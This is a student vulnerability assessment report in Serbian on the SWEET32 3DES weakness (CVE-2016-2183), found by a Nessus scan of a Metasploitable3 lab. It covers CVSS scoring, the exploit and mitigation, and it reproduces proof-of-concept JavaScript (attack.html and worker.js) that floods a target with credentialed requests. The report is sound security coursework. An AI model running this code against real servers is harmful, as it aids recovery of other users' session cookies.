

Vulnerability Assessment Report Template

Ime i prezime: Stasja Durutovic

Tim: 1

Datum: 25.10.2024.

Scan Tool: Nessus 10.8.3 (#10) WINDOWS

Test okruženje: Metasploitable3

1. Enumeracija CVE-a

- CVE ID: CVE-2016-2183

- Opis:

Ranjivost "**SSL Medium Strenght Cipher Suites Supported**", poznata i kao "**SWEET32 attack**" se odnosi na podršku za enkripciju srednje jačine, što znači da su podržane šifre koje koriste šifre dužine između 64 i 112 bita ili koje koriste enkripciju poput 3DES-a (algoritam za zaštitu podataka).

Port 3389/tp/ msrdp. Najčešće su pogođeni oni portovi koji koriste TLS/SSL protokole (protokol za enkripciju komunikacije).

Ova ranjivost može ugroziti servis jer omogućava napadaču da prepozna delove šifrovanih podataka i pristupi poverljivim informacijama, poput kolačića ili autentifikacionih tokena.

2. CVSS skor

- CVSS skor (numerička vrednost): 7.5
- Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AV-Attack Vector : Network – Ranjivost dostupna preko mreže

AC –Attack Complexity: Low – Napad jednostavan za izvođenje

PR- Privileges Requiered:None – Eksploatacija ne zahteva autentifikaciju; omogućen napad bilo kome ko ima pristup mreži

UI-User Interaction : None – Napad ne zavisi od korisničke akcije, što znači da se eksploatacija može pokrenuti automatski

S –Scope : Unchanged – Eksploatacija nema uticaj na druge sisteme ili komponente, samo na komponentu koja je ranjiva (domet napada ograničen na specifični sistem)

C- Confidentiality: High – Eksploatacija može otkriti osetljive informacije, kao što su npr. lični podaci

I-Integrity: None - Napad nema uticaj na integritet podataka; ne omogućava izmene ili manipulaciju podacima

A-Availability: None – Napad nema uticaj na dostupnost sistema ili servisa

- **Opravdanje:**

Ova ranjivost ima visok skor jer se može lako eksploatirati preko mreže, ima uticaj na poverljivost podataka i zahteva minimalne resurse za pokretanje napada (jednostavno je za izvođenje). Osim toga, eksploatacija je omogućena bilo kome ko ima pristup mreži i pokreće se automatski. Ova kombinacija faktora doprinosi visokom skor.

3. Dostupnost eksploita

- **Postoji javno dostupan exploit (Da/Ne): Da**

<https://sweet32.info>

- **Opis eksploita:**

SWEET32 exploit koristi ranjivost u 3DES enkripciji tokom SSL/TLS sesija da bi napadač mogao da dešifruje osetljive podatke. Napadač generiše veliku količinu zahteva koji omogućavaju da se u toku jedne sesije generišu ponovljeni 64-bitni blokovi. Pošto 3DES koristi blokove od 64 bita, statistička verovatnoća da se isti blok ponovo koristi postaje viša s povećanjem obima podataka. Kada se ovi blokovi ponavljaju, napadač primenjuje statističke metode da analizira podatke i rekonstruiše delove osetljivih informacija, poput kolačića.

Worker.js kreira više istovremenih zahteva, čime se ubrzava generisanje velike količine podataka i to izaziva ponovljene enkripcije blokova. Takođe, napravljena je velika dužina URL-a, jer što je URL duži veća je verovatnoća da će se ponoviti blokovi u enkripciji. WHILE petlja neprekidno šalje HEAD zahteve na server da bi se dobile informacije o resursu.

```

<html>
  <body>
    <script>
      var W = new Array;
      for (var i=0; i<8; i++) {
        var x = new Worker("worker.js");
        W.push(x);
      }
    </script>
  </body>
</html>

```

attack.html

```

var url = "https://10.0.0.1/index.html";
var xhr = new XMLHttpRequest;

// Expand URL to ~4kB using a query string
// Alternatively, force a large cookie
url += "?";
var x = 10000000;
for (var i=0; i<=500; i++) {
  url += x++;
}

while(true) {
  xhr.open("HEAD", url, false);
  xhr.withCredentials = true;
  xhr.send();
  xhr.abort();
}

```

worker.js

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

Ranljivost je izazvana upotrebom 3DES (Triple DES) algoritma, koji koristi 64-bitne blokove. Sweet32 nije vezana za određeni commit, biblioteku ili verziju nekog specifičnog softvera, već se tiče opšte primene 3DES enkripcije i njene statističke slabosti.

- **Primer Koda (ako je primenljivo): /**

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne): Da**

- **Mitigation Strategy:**

Preporučuje se onemogućavanje 3DES u konfiguraciji TLS/SSL na serverima. Npr. u konfiguracionom fajlu web servera kao što je Apache:

Step by step: <https://www.techrepublic.com/article/heres-how-to-disable-outdated-tls-and-ssl-versions-in-apache-and-why-you-should/>

Onemogućavanje 3DES se može implementirati i pomoću postojećih skripti, s obzirom da postoji veliki broj dostupnih skripti na izvorima kao što je GitHub:

<https://gist.github.com/jbratu/6262684939e15e638892973f5f8eed78>

Preporučuje se korišćenje jačih algoritama za enkripciju, kao što je AES algoritam. Osim toga, potrebno je modifikovati konfiguraciona podešavanja pogođenih sistema (web severi, VPN ili drugi mrežni uređaji.)

- **Alternativni fix (ukoliko ne postoji vendorski): /**